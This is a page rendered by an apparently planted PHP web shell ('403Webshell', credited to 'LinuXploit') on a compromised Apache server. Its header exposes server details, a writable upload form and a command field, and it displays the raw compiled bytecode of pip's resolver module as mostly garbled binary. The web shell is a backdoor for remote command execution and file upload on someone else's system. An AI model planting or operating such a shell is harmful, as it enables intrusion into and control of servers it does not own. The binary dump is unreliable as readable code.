403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pip/_internal/resolution/resolvelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pip/_internal/resolution/resolvelib/__pycache__/resolver.cpython-311.pyc
�

�/�c
-����ddlZddlZddlZddlmZmZmZmZmZm	Z	m
Z
ddlmZddl
mZmZddl
mZddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZm Z dd
l!m"Z"ddl#m$Z$m%Z%ddl&m'Z'm(Z(ddl)m*Z*erddl+m,Z-e-e(e'e.fZ,ej/e0��Z1Gd�de��Zdddee.deee.e2ffd�Z3de	e.efdeee.e2fde	e2e.ffd�Z4dS)�N)�
TYPE_CHECKING�Dict�List�Optional�Set�Tuple�cast��canonicalize_name)�BaseReporter�ResolutionImpossible)�Resolver)�
DirectedGraph)�
WheelCache)�
PackageFinder)�RequirementPreparer)�InstallRequirement)�RequirementSet)�BaseResolver�InstallRequirementProvider)�PipProvider)�PipDebuggingReporter�PipReporter�)�	Candidate�Requirement)�Factory)�Resultc���eZdZhd�Z	ddededeedede	de	d	e	d
e	de	de
d
eeedff�fd�
Z
deede	defd�Zdedeefd�Z�xZS)r>�only-if-needed�to-satisfy-only�eagerN�preparer�finder�wheel_cache�make_install_req�
use_user_site�ignore_dependencies�ignore_installed�ignore_requires_python�force_reinstall�upgrade_strategy�py_version_info.c����t�����|
|jvsJ�t||||||	|||��	�	|_||_|
|_d|_dS)N)	r$r#r&r%r'r+r)r*r-)�super�__init__�_allowed_strategiesr�factoryr(r,�_result)
�selfr#r$r%r&r'r(r)r*r+r,r-�	__class__s
            ��N/usr/lib/python3/dist-packages/pip/_internal/resolution/resolvelib/resolver.pyr0zResolver.__init__&s}���	���������4�#;�;�;�;�;����-�#�'�+�-�#9�+�

�

�

���$7�� � 0���)-������	root_reqs�check_supported_wheels�returnc���|j�|��}t|j|j|j|j|j���}dtjvrt��}nt��}t||��}	d}|�|j
|���x}|_nC#t$r6}	|j�t#d|	��|j��}
|
|	�d}	~	wwxYwt%|���}|j���D�]2}|���}
|
��|j�|��}|�d|
_n�|jjrd|
_nw|j|jkrd|
_n_|js|jrd|
_nI|jrA|jjr5|jjr!t>� d	|
j!����d|
_n��|j}|rK|j"rDd
�#|j!|j||j$pd���}t>�%|��|�&|
����4|j'}|jj(�)|��|S)
N)r2�constraintsr(r,�user_requested�PIP_RESOLVER_DEBUGi��)�
max_roundsz,ResolutionImpossible[Requirement, Candidate])r9FTz�%s is already installed with the same version as the provided wheel. Use --force-reinstall to force an installation of the wheel.z�The candidate selected for download or install is a yanked version: {name!r} candidate (version {version} at {link})
Reason for being yanked: {reason}z<none given>)�name�version�link�reason)*r2�collect_root_requirementsrr<r(r,r=�os�environrr�
RLResolver�resolve�requirementsr3r
�get_installation_errorr	r�mapping�values�get_install_requirement�get_dist_to_uninstall�should_reinstallr+rA�is_editable�editable�source_link�is_file�is_wheel�logger�infor@�	is_yanked�format�
yanked_reason�warning�add_named_requirement�all_requirementsr#� prepare_linked_requirements_more)r4r8r9�	collected�provider�reporter�resolver� try_to_avoid_resolution_too_deep�result�e�error�req_set�	candidate�ireq�installed_distrB�msg�reqss                  r6rHzResolver.resolveFs����L�:�:�9�E�E�	���L�!�-� $� 8�!�2�$�3�
�
�
�� �2�:�-�-�%9�%;�%;�H�H�"�}�}�H�<F���=
�=
��
	�/6�,�$,�$4�$4��&�3S�%5�%�%�
�F�T�\�\��$�	�	�	��L�7�7��C�Q�G�G��%���E��Q������	����!�8N�O�O�O����.�.�0�0�6	0�6	0�I��4�4�6�6�D��|��"�\�?�?�	�J�J�N��%�(-��%�%���-�
�(,��%�%��'�9�+<�<�<�(,��%�%��&�
�.�*A�
�)-��%�%��&�
�9�+@�+H�
��(�1���K�K�5��	�	����)-��%�%���(�D��

$���

$�D��&�"��%�-���-�?��	���	����s�#�#�#��)�)�$�/�/�/�/��'�����>�>�t�D�D�D��s�%B*�*
C*�41C%�%C*rfc�R�|j�
Jd���|jsgS|jj}t|t	|j�������}t
|j���tj	t|���d���}d�|D��S)aZGet order for installation of requirements in RequirementSet.

        The returned list contains a requirement before another that depends on
        it. This helps ensure that the environment is kept consistent as they
        get installed one-by-one.

        The current implementation creates a topological ordering of the
        dependency graph, giving more weight to packages with less
        or no dependencies, while breaking any cycles in the graph at
        arbitrary points. We make no guarantees about where the cycle
        would be broken, other than it *would* be broken.
        Nzmust call resolve() first)�weightsT)�key�reversec��g|]\}}|��S�rq)�.0�_rhs   r6�
<listcomp>z3Resolver.get_installation_order.<locals>.<listcomp>�s��1�1�1���D��1�1�1r7)r3rI�graph�get_topological_weights�set�keys�sorted�items�	functools�partial�_req_set_item_sorter)r4rfrurm�sorted_itemss     r6�get_installation_orderzResolver.get_installation_order�s����|�'�'�)D�'�'�'��#�	��I���"��)�%��W�5I�5N�5N�5P�5P�1Q�1Q�R�R���� �&�&�(�(��!�"6��H�H�H��
�
�
��
2�1�L�1�1�1�1r7)N)�__name__�
__module__�__qualname__r1rrrrr�bool�strr�intr0rrrrHr�
__classcell__)r5s@r6rr#s6�������H�H�H��6:�.�.�%�.��.��j�)�	.�
5�.��
.�"�.��.�!%�.��.��.�"�%��S��/�2�.�.�.�.�.�.�@\��0�1�\�KO�\�	�\�\�\�\�|2�%�2�	
� �	!�2�2�2�2�2�2�2�2r7rruzDirectedGraph[Optional[str]]�requirement_keysr:c�
����	�
�t���i�
dttddf����	�
fd��		t��}�D]3}|����|��D]}n|�|���4|sn<t���dz
}|D]}|�vr�|�
|<�
|D]}��|������	d��t�
���������}|r
J|����
S)a�Assign weights to each node based on how "deep" they are.

    This implementation may change at any point in the future without prior
    notice.

    We first simplify the dependency graph by pruning any leaves and giving them
    the highest weight: a package without any dependencies should be installed
    first. This is done again and again in the same way, giving ever less weight
    to the newly found leaves. The loop stops when no leaves are left: all
    remaining packages have at least one dependency left in the graph.

    Then we continue with the remaining graph, by taking the length for the
    longest path to any node from root, ignoring any paths that contain a single
    node twice (i.e. cycles). This is done through a depth-first search through
    the graph, while keeping track of the path to the node.

    Cycles in the graph result would result in node being revisited while also
    being on its own path. In this case, take no action. This helps ensure we
    don't get stuck in a cycle.

    When assigning weight, the longer path (i.e. larger length) is preferred.

    We are only interested in the weights of packages that are in the
    requirement_keys.
    �noder:Nc�&��|�vrdS��|����|��D]
}�|�����|��|�vrdS��|d��}t	|t������|<dS)Nr)�add�
iter_children�remove�get�max�len)r��child�last_known_parent_countru�pathr��visitrms   �����r6r�z&get_topological_weights.<locals>.visit�s�����4�<�<��F�	
��������(�(��.�.�	�	�E��E�%�L�L�L�L����D�����'�'�'��F�")�+�+�d�A�"6�"6���3�S��Y�Y�?�?���
�
�
r7Tr)	rwrr�r�r�r�r�rx�
difference)rur��leavesrn�_child�weight�leafr�r�r�rms``      @@@r6rvrv�sz�������8 #�u�u�D�(*�G�@�H�S�M�@�d�@�@�@�@�@�@�@�@�@�@�,������	 �	 �C��{���-�-�c�2�2�
 �
 �����
�
�3������	���U���a����	#�	#�D��+�+�+��"�G�D�M�M��	�	�D��L�L������-�4
�E�$�K�K�K��W�\�\�^�^�$�$�/�/�0@�A�A�J��%�%�:�%�%�%��Nr7�itemrmc�@�t|d��}|||fS)a)Key function used to sort install requirements for installation.

    Based on the "weight" mapping calculated in ``get_installation_order()``.
    The canonical package name is returned as the second member as a tie-
    breaker to ensure the result is predictable, which is useful in tests.
    rr
)r�rmr@s   r6r}r}s$���T�!�W�%�%�D��4�=�$��r7)5r{�loggingrE�typingrrrrrrr	�pip._vendor.packaging.utilsr�pip._vendor.resolvelibrr
rrG�pip._vendor.resolvelib.structsr�pip._internal.cacher�"pip._internal.index.package_finderr� pip._internal.operations.preparer�pip._internal.req.req_installr�pip._internal.req.req_setr�pip._internal.resolution.baserr�,pip._internal.resolution.resolvelib.providerr�,pip._internal.resolution.resolvelib.reporterrr�baserrr2r� pip._vendor.resolvelib.resolversr�RLResultr��	getLoggerr�rUr�rvr}rqr7r6�<module>r�s�����������	�	�	�	�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�9�9�9�9�9�9�E�E�E�E�E�E�E�E�9�9�9�9�9�9�8�8�8�8�8�8�*�*�*�*�*�*�<�<�<�<�<�<�@�@�@�@�@�@�<�<�<�<�<�<�4�4�4�4�4�4�R�R�R�R�R�R�R�R�D�D�D�D�D�D���������
)�(�(�(�(�(�(�(��������3�C�C�C�C�C�C�
�k�9�c�1�
2�F�
��	�8�	$�	$��^2�^2�^2�^2�^2�|�^2�^2�^2�BV�)�V�=@��X�V�	�(�3�-��
��V�V�V�V�r�
��'�'�
(��
�(�3�-��$�
%���3��8�_������r7

Youez - 2016 - github.com/yon3zu
LinuXploit